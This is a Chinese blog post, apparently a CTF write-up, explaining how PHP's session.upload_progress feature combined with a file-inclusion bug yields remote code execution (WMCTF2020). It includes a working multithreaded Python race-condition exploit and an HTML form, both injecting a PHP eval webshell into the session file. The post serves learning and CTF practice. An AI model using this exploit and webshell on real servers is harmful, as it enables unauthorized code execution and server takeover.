session.upload_progress文件包含漏洞

news/2024/11/6 13:49:04/

session.upload_progress文件包含漏洞

前言

之前学习了该漏洞,但是没有做笔记,导致容易遗忘。在此用一个题目来理解session.upload_progress漏洞

基础知识

session存储

我们在phpinfo可以看到session的存储路径:

image-20230601203121482

以下是一些session在linux的默认存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件的文件名一般是通过:sess_ 加上PHPSESSID字段

什么是session.upload_progress

以下是session.upload_progress比较重要的几个选项:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • session.upload_progress.enabled可以控制是否开启session.upload_progress功能
  • session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
  • session.upload_progress.prefix可以设置上传文件内容中的前缀
  • session.upload_progress.name的值即为session中的键值

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID

session.upload_progress开启后有什么效果

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

问题1:

那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?

分析1:

我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置PHPSESSID=leekos时,PHP就会生成一个文件/tmp/sess_leekos,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_leekos中去,具体文件的内容是什么,后面会写到。

问题2:

当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

分析2:

利用Python的多线程,进行条件竞争

当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()
可借助Session Upload Progress,因为session.upload_progress.name 是用户自定义的,POST提交PHP_SESSION_UPLOAD_PROGRESS字段,只要上传包里带上这个键,PHP就会自动启用Session。同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。

当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。

如何使用session.upload_progress进行RCE?

当一个网站存在文件包含漏洞时,我们可以尝试通过session.upload_progress 向服务器写入session文件,文件内容为一句话木马,然后配合文件包含漏洞包含进来,然后getshell

但是如果选项:session.upload_progress.cleanup=on那么文件一上传上去就会被删除,所以我们需要利用条件竞争

有两种方式:

  • 1、使用python脚本
  • 2、使用burpsuite

首先我们结合一道例题来讲解:

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}

此处存在文件包含漏洞,由于使用了 require_once()所以我们不能再次包含flag.php

这里可以使用 session.upload_progress 进行rce

使用python脚本:
import io
import threading
import requestsurl = "http://40c7dd6c-b2cb-4356-820b-cd6ba4f81596.node4.buuoj.cn:81/"
sessid = 'leekos'def write(session):filebytes = io.BytesIO(b'a'*1024*50)while True:session.post(url=url,data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessid},files={'file': ('leekos.jpg',filebytes)})def read(session):while True:res1 = session.post(url=url + r'?file=/tmp/sess_' + sessid, data={'1': r"system('tac flag.php');"})if 'leekos' in res1.text:print(res1.text)else:print("retry~~~~")if __name__ == '__main__':with requests.session() as session:for i in range(20):threading.Thread(target=write,args=(session,)).start()for i in range(20):threading.Thread(target=read,args=(session,)).start()

这段代码的逻辑其实不难,得好好补一补python

首先我们创建一个 session对象,用来发送http请求

然后使用python中多线程 threading.Thread() 创建多线程并启动然后调用 write、read

  • write()函数逻辑:首先使用io.BytesIO(b'a'*1024*50)创建一段50kB大小的文件,然后发送post包,url为域名,data的键名传入:PHP_SESSION_UPLOAD_PROGRESS 值传入一句话木马,然后cookie控制PHSESSID的值为leekos,files传入刚创建的文件。这样就会在服务器 /tmp目录创建一个文件名为:sess_leekos的文件,并且内容包含一句话木马
  • read()函数逻辑,去读 /tmp/sess_leekos文件的值,并且data中传入代码获取flag。由于session文件的内容中包含我们上传的文件的名称(此时为:leekos.jpg)如果读取出来的结果包含leekos,说明之前的session上传成功了,于是我们打印出页面的值,其中一定包含flag

使用多线程不断的竞争,一段时间后就会得到flag

image-20230601210701486

使用html+bp

写一个html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form action="http://40c7dd6c-b2cb-4356-820b-cd6ba4f81596.node4.buuoj.cn:81/" method="post" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval($_POST[1]);?>"><input type="file" name="file"><input type="submit" name="submit"></form>
</body>
</html>

上传文件,抓包,修改cookie:PHPSESSID=leekos

image-20230601212928962

然后使用另一个请求包含:

image-20230601212949130

两个请求使用 Intruder模块竞争:

image-20230601213038646

这样就成功了


http://www.ppmy.cn/news/169292.html

相关文章

项目上线出Bug:我踩过的4个大坑及事后反思

最近参与的拥有7大模块的系统项目&#xff0c;从去年11月开始开发&#xff0c;共5个月左右。 该项目是用JavaNode.js开发&#xff0c;开发人员含外包将近10位&#xff0c;测试人员A从头跟到尾&#xff0c;其他测试人员都是紧急时刻从其他项目临时调来&#xff0c;包含兄弟部门…

React 18 组件通信 将props传递给子组件

参考文章 将 Props 传递给组件 React 组件使用 props 来互相通信。每个父组件都可以提供 props 给它的子组件&#xff0c;从而将一些信息传递给它。 Props 类似于HTML 标签属性&#xff0c;可以通过它们传递任何 JavaScript 值&#xff0c;包括对象、数组和函数。 通过标签…

Ansible基础五——条件语句、循环语句、handlers、任务失败处理

文章目录 一、 循环语句1.1 单量循环1.2 多量循环1.3 老版本用法1.4 loopregister 二、条件判断2.1 根据变量状态判断2.2 根据变量是否存在判断2.3 根据事实判断2.4 多条件判断2.4.1 and用法2.4.2 or用法 2.5 循环判断2.6 根据上个任务结果判断 三、handlers处理程序四、任务失…

GitLab从旧服务器迁移到新服务器(空间不足,gitlab安装报错)

注意事项&#xff1a;迁移前首先要保证新旧服务器上的GitLab版本号一致&#xff0c;而且gitlab的包要符合安装的系统gitlab安装&#xff0c;系统与安装包不一致导致的安装错误。 1.查看当前GitLab版本 cat /opt/gitlab/embedded/service/gitlab-rails/VERSION显示为 12.5.5。…

C++11:智能指针

目录 1、智能指针含义 2、智能指针的分类 1、智能指针含义 &#xff08;1&#xff09;C智能指针是一种用于管理动态内存的指针&#xff0c;可以自动进行内存管理&#xff0c;避免了手动管理内存所带来的问题。 &#xff08;2&#xff09;智能指针的核心思想是资源分配即初始…

IP地址、子网划分

目录 一、IP地址1.IP地址表示2.分类IP地址3.无分类编址 CIDR4.特殊IP地址 二、子网划分1.子网、子网掩码、子网划分VLSM2.网络地址、广播地址3.示例1&#xff1a;等分为两个子网3.1 划分前&#xff1a;3.2 划分后&#xff1a; 4.示例2&#xff1a;等分为四个子网3.1 划分前&…

Arthas 的简单使用

安装 Arthas 根据操作系统&#xff0c;从Arthas 官方 GitHub 仓库下载相应的 Arthas 安装包。 执行 Arthas 打开命令行工具&#xff0c;进入 Arthas 安装目录并执行以下命令&#xff1a; java -jar arthas-boot.jar 在启动时&#xff0c;Arthas 会自动检测到本机上所有运行…

2021年全球与中国净水器行业市场规模及发展前景分析

2021年全球与中国净水器行业市场规模及发展前景分析 本报告研究全球与中国市场净水器的发展现状及未来发展趋势&#xff0c;分别从生产和消费的角度分析净水器的主要生产地区、主要消费地区以及主要的生产商。重点分析全球与中国市场的主要厂商产品特点、产品规格、不同规格产品…